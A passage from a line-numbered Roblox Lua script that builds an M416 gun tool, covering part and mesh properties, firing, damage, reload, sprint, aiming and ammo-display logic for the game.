  685. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
  686. Part18.Name = "Mag3"
  687. Part18.Parent = Tool0
  688. Part18.Material = Enum.Material.SmoothPlastic
  689. Part18.BrickColor = BrickColor.new("Brick yellow")
  690. Part18.Rotation = Vector3.new(-180, -89.4599991, -71)
  691. Part18.Anchored = true
  692. Part18.FormFactor = Enum.FormFactor.Custom
  693. Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.203999996)
  694. Part18.CFrame = CFrame.new(27.0853271, 0.256103992, 139.130554, 0.00305759162, 0.00887972116, -0.999955833, 0.945518434, -0.32556814, 2.6920091e-08, -0.325553685, -0.945476532, -0.00939165056)
  695. Part18.BottomSurface = Enum.SurfaceType.Smooth
  696. Part18.TopSurface = Enum.SurfaceType.Smooth
  697. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  698. Part18.Position = Vector3.new(27.0853271, 0.256103992, 139.130554)
  699. Part18.Orientation = Vector3.new(0, -90.5400009, 109)
  700. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  701. BlockMesh19.Parent = Part18
  702. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  703. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  704. LocalScript20.Name = "Gun_Script"
  705. LocalScript20.Parent = Tool0
  706. table.insert(cors,sandbox(LocalScript20,function()
  707. wait(0.5)
  708. --Made by YouTubes--
  709. --Edit settings below--
  710. local Tool = script.Parent
  711. local Settings = {
  712. Range = 1000
  713. ,Spread = 5
  714. ,Damage = {50, 75}
  715. ,HeadShotDamage = {70, 120}
  716. ,Bullets = 1
  717. ,FireRate = 0.08
  718. ,Automatic = true
  719. ,AntiTK = true
  720. ,ImpactDuration = 3
  721. --Reload
  722. ,ReloadKey = "R"
  723. ,ReloadTime = 2.5
  724. ,Ammo = 30
  725. ,IncludeChamberedBullet = true
  726. --Gui
  727. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  728. --Arms
  729. ,OneHanded = false
  730. ,FakeArms = true
  731. ,FakeArmTransparency = 0.5
  732. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  733. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  734. ,AimPart = Tool.AimPart
  735. ,AimPartOffset = CFrame.new()
  736. ,AimGripOffset = Vector3.new(0, 0, 0)
  737. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  738. ,AimAnim = {
  739. Enabled = false
  740. ,Frames = 50
  741. ,Time = 0.1
  742. }
  743. ,ChangeFOV = {true, 60}
  744. ,SpreadReduction = 0
  745. --Weld
  746. ,Weld = true
  747. --Mouse
  748. ,Icons = {
  749. Idle = "rbxassetid://70288585"
  750. ,Fire1 = "rbxassetid://70288578"
  751. ,Fire2 = "rbxassetid://70288572"
  752. ,Fire3 = "rbxassetid://70288578"
  753. ,Reload = "rbxassetid://70288599"
  754. ,Aim = "rbxasset://textures/Blank.png"
  755. }
  756. ,FireMouseAnimTime = 0.15
  757. --Recoil
  758. ,Recoil = math.rad(0.7)
  759. --Smoke
  760. ,Smoke = true
  761. ,SmokePart = Tool.SmokePart
  762. ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  763. --Sprint
  764. ,Sprint = true
  765. ,SprintSpeed = 25
  766. ,SprintKey = "0"
  767. ,SprintSpreadIncrease = 40
  768. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  769. --Other
  770. ,DropHats = true
  771. }
  772.  
  773. --Do not edit below this lign--
  774.  
  775. local Orig_Spread = Settings.Spread
  776. local Orig_Grip = Tool.GripPos
  777.  
  778. local Player = game.Players.LocalPlayer
  779. local Character = Player.Character
  780.  
  781. local Camera = Workspace.CurrentCamera
  782.  
  783. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  784.  
  785. local Gui, CanUpdateGui = nil, true
  786.  
  787. local Sprinting, Equipped
  788.  
  789. function Update_Gui()
  790. if Gui and CanUpdateGui then
  791. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  792. end
  793. end
  794.  
  795. local Welded
  796. if Settings.Weld then
  797. Delay(0, function()
  798. local weldC0s = {}
  799. for i, v in pairs(Tool:GetChildren()) do
  800. if v:IsA("BasePart") and v ~= Tool.Handle then
  801. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  802. v.Anchored = false
  803. end
  804. end
  805. Tool.Handle.Anchored = false
  806. local welds = {}
  807. Tool.Equipped:connect(function()
  808. for i, v in ipairs(welds) do
  809. v.Part1 = nil
  810. v:Destroy()
  811. end
  812. for i, v in ipairs(weldC0s) do
  813. if v[1] and v[2] then
  814. local w = Instance.new("Weld", Tool.Handle)
  815. w.Part0 = Tool.Handle
  816. w.Part1 = v[1]
  817. w.C0 = v[2]
  818. table.insert(welds, w)
  819. end
  820. end
  821. end)
  822. wait()
  823. Welded = true
  824. end)
  825. end
  826.  
  827. local Left_Weld, Right_Weld
  828.  
  829. Ammo.Changed:connect(Update_Gui)
  830. StoredAmmo.Changed:connect(Update_Gui)
  831.  
  832. Settings.Range = math.min(Settings.Range, 999)
  833.  
  834. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  835. Ignore_Model.Name = "Ray_Ignore"
  836.  
  837. local Ray_Ignore = {Character, Ignore_Model, Camera}
  838.  
  839. Character.Humanoid.Died:connect(function()
  840. Tool.Parent = Player.Backpack
  841. end)
  842.  
  843. function Fire(Mouse)
  844. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  845. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  846. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  847. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  848. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  849. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  850. return
  851. end
  852. local Humanoid = Hit.Parent.Humanoid
  853. local c = Instance.new("ObjectValue")
  854. c.Name = "creator"
  855. c.Value = Player
  856. game.Debris:AddItem(c, 3)
  857. c.Parent = Humanoid
  858. if Hit.Name == "Head" then
  859. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  860. else
  861. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  862. end
  863. elseif Hit then
  864. local Hit_Part = Instance.new("Part", Ignore_Model)
  865. Hit_Part.FormFactor = "Custom"
  866. Hit_Part.TopSurface = 0
  867. Hit_Part.BottomSurface = 0
  868. Hit_Part.Anchored = true
  869. Hit_Part.CanCollide = false
  870. Hit_Part.Size = Vector3.new()
  871. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  872. Hit_Part.BrickColor = BrickColor.new("Black")
  873. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  874. if not Hit.Anchored then
  875. local w = Instance.new("Weld", Hit_Part)
  876. w.Part0 = Hit
  877. w.Part1 = Hit_Part
  878. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  879. Hit_Part.Anchored = false
  880. end
  881. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  882. Hit.Parent.Parent = workspace
  883. game.Debris:AddItem(Hit, 3)
  884. end
  885. end
  886. end
  887.  
  888. local Can_Shoot = true
  889. local Reloading = false
  890.  
  891. local First_Person = false
  892.  
  893. local Mouse_Held
  894.  
  895. Tool.Equipped:connect(function(Mouse)
  896. Equipped = true
  897. if Settings.Weld and not Welded then
  898. wait()
  899. Tool.Parent = Player.Backpack
  900. end
  901. Character = Player.Character
  902. if Gui then
  903. return
  904. end
  905. Ray_Ignore = {Character, Ignore_Model, Camera}
  906. Mouse.Icon = Settings.Icons.Idle
  907. Gui = script.Gui:Clone()
  908. Gui.Parent = Player.PlayerGui
  909. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  910. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  911. CanUpdateGui = true
  912. Update_Gui()
  913. Mouse.Button1Down:connect(function()
  914. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  915. Mouse_Held = true
  916. while true do
  917. Can_Shoot = false
  918. Delay(0, function()
  919. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  920. if not Aiming then
  921. Mouse.Icon = Settings.Icons.Fire1
  922. end
  923. wait(t)
  924. if not Aiming then
  925. if Reloading then return end
  926. Mouse.Icon = Settings.Icons.Fire2
  927. end
  928. wait(t)
  929. if not Aiming then
  930. if Reloading then return end
  931. Mouse.Icon = Settings.Icons.Fire3
  932. end
  933. wait(t)
  934. if not Aiming then
  935. if Reloading then return end
  936. Mouse.Icon = Settings.Icons.Idle
  937. end
  938. end)
  939. if Settings.Smoke then
  940. for i, v in pairs(Settings.Smokes) do
  941. local s = v[1]:Clone()
  942. s.Parent = Settings.SmokePart
  943. s.Enabled = true
  944. game.Debris:AddItem(s, v[2])
  945. if v[3] then
  946. Delay(v[3], function()
  947. s.Enabled = false
  948. end)
  949. end
  950. end
  951. end
  952. for _ = 1, Settings.Bullets do
  953. pcall(function() Fire(Mouse) end)
  954. end
  955. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  956. if Tool.Handle:FindFirstChild("Shoot") then
  957. Tool.Handle.Shoot:Play()
  958. end
  959. Ammo.Value = Ammo.Value - 1
  960. wait(Settings.FireRate)
  961. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  962. break
  963. end
  964. end
  965. Can_Shoot = true
  966. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  967. Tool.Handle.Click:Play()
  968. end
  969. end)
  970. Mouse.Button1Up:connect(function()
  971. Mouse_Held = false
  972. end)
  973. Mouse.KeyDown:connect(function(Key)
  974. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  975. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  976. return
  977. end
  978. Can_Shoot = false
  979. Reloading = true
  980. local TextLabel = Gui.Frame.AmmoDisplay
  981. Delay(0, function()
  982. CanUpdateGui = false
  983. TextLabel.Text = "Reloading."
  984. wait(Settings.ReloadTime/3)
  985. if TextLabel then
  986. TextLabel.Text = "Reloading.."
  987. end
  988. wait(Settings.ReloadTime/3)
  989. if TextLabel then
  990. TextLabel.Text = "Reloading..."
  991. end
  992. end)
  993. if Tool.Handle:FindFirstChild("Reload") then
  994. Tool.Handle.Reload:Play()
  995. end
  996. Mouse.Icon = Settings.Icons.Reload
  997. wait(Settings.ReloadTime)
  998. Mouse.Icon = Settings.Icons.Idle
  999. CanUpdateGui = true
  1000. local m = Settings.Ammo
  1001. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  1002. m = m + 1
  1003. end
  1004. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  1005. Ammo.Value = Ammo.Value + StoredAmmo.Value
  1006. StoredAmmo.Value = 0
  1007. else
  1008. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  1009. Ammo.Value = m
  1010. end
  1011. Can_Shoot = true
  1012. Reloading = false
  1013. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  1014. Sprinting = true
  1015. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  1016. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  1017. end
  1018. end)
  1019. Mouse.KeyUp:connect(function(Key)
  1020. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  1021. Sprinting = false
  1022. Character.Humanoid.WalkSpeed = 16
  1023. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  1024. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1025. end
  1026. end)
  1027. Mouse.Button2Down:connect(function()
  1028. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  1029. Aiming = true
  1030. Mouse.Icon = Settings.Icons.Aim
  1031. Right_Weld.C1 = CFrame.new()
  1032. Right_Weld.C0 = CFrame.new()
  1033. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  1034. Left_Weld.C1 = Settings.LeftAimPos
  1035. if Settings.ChangeFOV[1] then
  1036. Camera.FieldOfView = Settings.ChangeFOV[2]
  1037. end
  1038. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  1039. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  1040. end
  1041. end)
  1042. Mouse.Button2Up:connect(function()
  1043. if Aiming then
  1044. Mouse.Icon = Settings.Icons.Idle
  1045. Tool.GripPos = Orig_Grip
  1046. Right_Weld.C1 = Settings.RightPos
  1047. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1048. Left_Weld.C1 = Settings.LeftPos
  1049. if Settings.ChangeFOV[1] then
  1050. Camera.FieldOfView = 70
  1051. end
  1052. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  1053. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1054. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1055. wait(0.25)
  1056. Aiming = false
  1057. end
  1058. end)
  1059. wait()
  1060. Camera.Changed:connect(function()
  1061. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1062. Mouse.TargetFilter = workspace
  1063. Character.Torso.Neck.C1 = CFrame.new()
  1064. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1065. end
  1066. end)
  1067. Mouse.Idle:connect(function()
  1068. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  1069. Mouse.TargetFilter = workspace
  1070. Character.Torso.Neck.C1 = CFrame.new()
  1071. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  1072. end
  1073. end)
  1074. while wait() and Equipped do
  1075. if Sprinting then
  1076. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1077. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  1078. elseif not Aiming then
  1079. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1080. end
  1081. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  1082. Mouse.TargetFilter = nil
  1083. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1084. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1085. end
  1086. end
  1087. end)
  1088.  
  1089. local Arms_Made
  1090. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  1091.  
  1092. Tool.Equipped:connect(function(Mouse)
  1093. if Character and not Arms_Made then
  1094. Arms_Made = true
  1095. local Torso = Character.Torso
  1096. Torso["Right Shoulder"].Part1 = nil
  1097. Left_Weld = Instance.new("Weld", Torso)
  1098. Left_Weld.Name = "Left_Weld"
  1099. Left_Weld.Part0 = Character.Head
  1100. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  1101. if not Settings.OneHanded then
  1102. Torso["Left Shoulder"].Part1 = nil
  1103. Left_Weld.Part1 = Character["Left Arm"]
  1104. end
  1105. Right_Weld = Instance.new("Weld", Torso)
  1106. Right_Weld.Name = "Right_Weld"
  1107. Right_Weld.Part0 = Character.Head
  1108. Right_Weld.Part1 = Character["Right Arm"]
  1109. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  1110. Left_Weld.C1 = Settings.LeftPos
  1111. Right_Weld.C1 = Settings.RightPos
  1112. end
  1113. if Settings.FakeArms and not Fake_Arm_Right then
  1114. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  1115. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  1116. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  1117. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  1118. for i = 1, 2 do
  1119. local w = Instance.new("Weld", fakeArms[i])
  1120. w.Part0 = Character[fakeArms[i].Name]
  1121. w.Part1 = fakeArms[i]
  1122. fakeArms[i].Transparency = Settings.FakeArmTransparency
  1123. end
  1124. Fake_Arm_Model = Instance.new("Model", Camera)
  1125. Fake_Arm_Right.Parent = Fake_Arm_Model
  1126. if not Settings.OneHanded then
  1127. Fake_Arm_Left.Parent = Fake_Arm_Model
  1128. end
  1129. Fake_Arm_Model.Name = "FakeArms"
  1130. if Settings.CharacterMeshes then
  1131. for i, v in pairs(Character:GetChildren()) do
  1132. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  1133. v:Clone().Parent = Fake_Arm_Model
  1134. end
  1135. end
  1136. end
  1137. if Character:FindFirstChild("Shirt") then
  1138. Instance.new("Humanoid", Fake_Arm_Model)
  1139. Character.Shirt:Clone().Parent = Fake_Arm_Model
  1140. else
  1141. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  1142. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  1143. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  1144. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  1145. end
  1146. end
  1147. end)
  1148.  
  1149. Tool.Unequipped:connect(function()
  1150. Equipped = false
  1151. Tool.GripPos = Orig_Grip
  1152. Aiming = false
  1153. Settings.Spread = Orig_Spread
  1154. if Settings.ChangeFOV[1] then
  1155. Camera.FieldOfView = 70
  1156. end
  1157. if Gui then
  1158. Gui:Destroy()
  1159. Gui = nil
  1160. end
  1161. for i, v in pairs(Tool.Handle:GetChildren()) do
  1162. if v:IsA("Sound") then
  1163. v:Stop()
  1164. end
  1165. end
  1166. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  1167. Fake_Arm_Model:Destroy()
  1168. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  1169. end
  1170. if Character and Left_Weld and Right_Weld then
  1171. Arms_Made = false
  1172. local Torso = Character.Torso
  1173. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  1174. Left_Weld:Destroy()
  1175. Right_Weld:Destroy()
  1176. end
  1177. Sprinting = false
  1178. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1179. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1180. Character.Humanoid.WalkSpeed = 16
  1181. end)
  1182.  
  1183. end))
  1184. NumberValue21.Name = "Ammo"
  1185. NumberValue21.Parent = LocalScript20
  1186. NumberValue21.Value = 31
  1187. NumberValue22.Name = "StoredAmmo"
  1188. NumberValue22.Parent = LocalScript20
  1189. NumberValue22.Value = 400
  1190. Smoke23.Parent = LocalScript20
  1191. Smoke23.Size = 0.25
  1192. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1193. Smoke23.Enabled = false
  1194. Smoke23.Opacity = 0.10000000149012
  1195. Smoke23.Color = Color3.new(0.372549, 0.372549, 0.372549)
  1196. Smoke24.Name = "Smoke1"
  1197. Smoke24.Parent = LocalScript20
  1198. Smoke24.Size = 0.10000000149012
  1199. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1200. Smoke24.Enabled = false
  1201. Smoke24.Opacity = 0.40000000596046
  1202. Smoke24.Color = Color3.new(1, 0.6, 0.2)
  1203. PointLight25.Name = "Flash"
  1204. PointLight25.Parent = LocalScript20
  1205. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1206. PointLight25.Brightness = 10
  1207. PointLight25.Range = 10
  1208. PointLight25.Shadows = true
  1209. PointLight25.Color = Color3.new(0.772549, 0.384314, 0)
  1210. ScreenGui26.Name = "Gui"
  1211. ScreenGui26.Parent = LocalScript20
  1212. Frame27.Parent = ScreenGui26
  1213. Frame27.Transparency = 0.5
  1214. Frame27.Size = UDim2.new(0, 120, 0, 35)
  1215. Frame27.Position = UDim2.new(1, -150, 1, -44)
  1216. Frame27.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1217. Frame27.BackgroundTransparency = 0.5
  1218. Frame27.BorderSizePixel = 3
  1219. TextLabel28.Name = "AmmoDisplay"
  1220. TextLabel28.Parent = Frame27
  1221. TextLabel28.Transparency = 1
  1222. TextLabel28.Size = UDim2.new(1, 0, 1, 0)
  1223. TextLabel28.Text = ""
  1224. TextLabel28.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1225. TextLabel28.BackgroundTransparency = 1
  1226. TextLabel28.Font = Enum.Font.SourceSansBold
  1227. TextLabel28.FontSize = Enum.FontSize.Size24
  1228. TextLabel28.TextColor3 = Color3.new(0, 0, 0)
  1229. TextLabel28.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1230. TextLabel28.TextStrokeTransparency = 0.5
  1231. TextLabel28.TextXAlignment = Enum.TextXAlignment.Right
  1232. Frame29.Parent = ScreenGui26
  1233. Frame29.Transparency = 0.5
  1234. Frame29.Size = UDim2.new(0, 126, 0, 10)
  1235. Frame29.Position = UDim2.new(1, -153, 1, -62)
  1236. Frame29.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1237. Frame29.BackgroundTransparency = 0.5
  1238. Frame29.BorderSizePixel = 3
  1239. TextLabel30.Name = "Caliber"
  1240. TextLabel30.Parent = Frame29
  1241. TextLabel30.Transparency = 1
  1242. TextLabel30.Size = UDim2.new(1, 0, 1, 0)
  1243. TextLabel30.Text = "Made by 1ndrew"
  1244. TextLabel30.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1245. TextLabel30.BackgroundTransparency = 1
  1246. TextLabel30.Font = Enum.Font.SourceSansBold
  1247. TextLabel30.FontSize = Enum.FontSize.Size28
  1248. TextLabel30.TextColor3 = Color3.new(0, 0, 0)
  1249. TextLabel30.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1250. TextLabel30.TextStrokeTransparency = 0.5
  1251. TextLabel30.TextXAlignment = Enum.TextXAlignment.Right
  1252. Frame31.Parent = ScreenGui26
  1253. Frame31.Transparency = 0.5
  1254. Frame31.Size = UDim2.new(0, 126, 0, 40)
  1255. Frame31.Position = UDim2.new(1, -153, 1, -109)
  1256. Frame31.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1257. Frame31.BackgroundTransparency = 0.5
  1258. Frame31.BorderSizePixel = 3
  1259. TextLabel32.Name = "Accessories"
  1260. TextLabel32.Parent = Frame31
  1261. TextLabel32.Transparency = 1
  1262. TextLabel32.Size = UDim2.new(1, 0, 1, 0)
  1263. TextLabel32.Text = "M416"
  1264. TextLabel32.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1265. TextLabel32.BackgroundTransparency = 1
  1266. TextLabel32.Font = Enum.Font.SourceSansBold
  1267. TextLabel32.FontSize = Enum.FontSize.Size14
  1268. TextLabel32.TextColor3 = Color3.new(0, 0, 0)
  1269. TextLabel32.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1270. TextLabel32.TextStrokeTransparency = 0.5
  1271. TextLabel32.TextXAlignment = Enum.TextXAlignment.Right
  1272. Part33.Parent = Tool0
  1273. Part33.Material = Enum.Material.SmoothPlastic
  1274. Part33.BrickColor = BrickColor.new("Mid gray")
  1275. Part33.Rotation = Vector3.new(-90, 0, 179.459991)
  1276. Part33.Anchored = true
  1277. Part33.FormFactor = Enum.FormFactor.Custom
  1278. Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1279. Part33.CFrame = CFrame.new(27.0690918, 1.65112305, 138.333984, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1280. Part33.BottomSurface = Enum.SurfaceType.Smooth
  1281. Part33.TopSurface = Enum.SurfaceType.Smooth
  1282. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1283. Part33.Position = Vector3.new(27.0690918, 1.65112305, 138.333984)
  1284. Part33.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1285. Part33.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1286. CylinderMesh34.Parent = Part33
  1287. CylinderMesh34.Offset = Vector3.new(0, 0.0120000001, 0)
  1288. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1289. CylinderMesh34.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1290. Part35.Parent = Tool0
  1291. Part35.Material = Enum.Material.SmoothPlastic
  1292. Part35.BrickColor = BrickColor.new("Mid gray")
  1293. Part35.Rotation = Vector3.new(-90, 0, 179.459991)
  1294. Part35.Anchored = true
  1295. Part35.FormFactor = Enum.FormFactor.Custom
  1296. Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1297. Part35.CFrame = CFrame.new(27.1169434, 1.65112305, 138.33429, -0.999955833, -0.00939139724, -2.45538843e-08, 1.02097069e-07, -3.55030458e-08, 0.999999821, -0.00939165056, 0.999955356, 3.52667371e-08)
  1298. Part35.BottomSurface = Enum.SurfaceType.Smooth
  1299. Part35.TopSurface = Enum.SurfaceType.Smooth
  1300. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1301. Part35.Position = Vector3.new(27.1169434, 1.65112305, 138.33429)
  1302. Part35.Orientation = Vector3.new(-89.9700012, -34.8499985, 109.169998)
  1303. Part35.Color = Color3.new(0.803922, 0.803922, 0.803922)
  1304. CylinderMesh36.Parent = Part35
  1305. CylinderMesh36.Offset = Vector3.new(0, 0.0120000001, 0)
  1306. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1307. CylinderMesh36.Scale = Vector3.new(0.0299999993, 0.063000001, 0.0299999993)
  1308. Part37.Parent = Tool0
  1309. Part37.Material = Enum.Material.SmoothPlastic
  1310. Part37.BrickColor = BrickColor.new("Dark stone grey")
  1311. Part37.Reflectance = 0.050000000745058
  1312. Part37.Rotation = Vector3.new(-180, -89.4599991, -90)
  1313. Part37.Anchored = true
  1314. Part37.FormFactor = Enum.FormFactor.Custom
  1315. Part37.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  1316. Part37.CFrame = CFrame.new(27.0869141, 1.27026403, 138.981995, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  1317. Part37.BottomSurface = Enum.SurfaceType.Smooth
  1318. Part37.TopSurface = Enum.SurfaceType.Smooth
  1319. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1320. Part37.Position = Vector3.new(27.0869141, 1.27026403, 138.981995)
  1321. Part37.Orientation = Vector3.new(0, -90.5400009, 90)
  1322. Part37.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1323. CylinderMesh38.Parent = Part37
  1324. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1325. CylinderMesh38.Scale = Vector3.new(1.10000002, 1, 1)
  1326. Part39.Parent = Tool0
  1327. Part39.Material = Enum.Material.SmoothPlastic
  1328. Part39.BrickColor = BrickColor.new("Dark stone grey")
  1329. Part39.Rotation = Vector3.new(-89.4599991, 45, 89.2399979)
  1330. Part39.Anchored = true
  1331. Part39.FormFactor = Enum.FormFactor.Custom
  1332. Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1333. Part39.CFrame = CFrame.new(27.0773926, 1.66210902, 138.345764, 0.00939139724, -0.707075477, 0.707075417, 3.55030458e-08, 0.70710659, 0.707106471, -0.999955356, -0.00664065778, 0.00664073229)
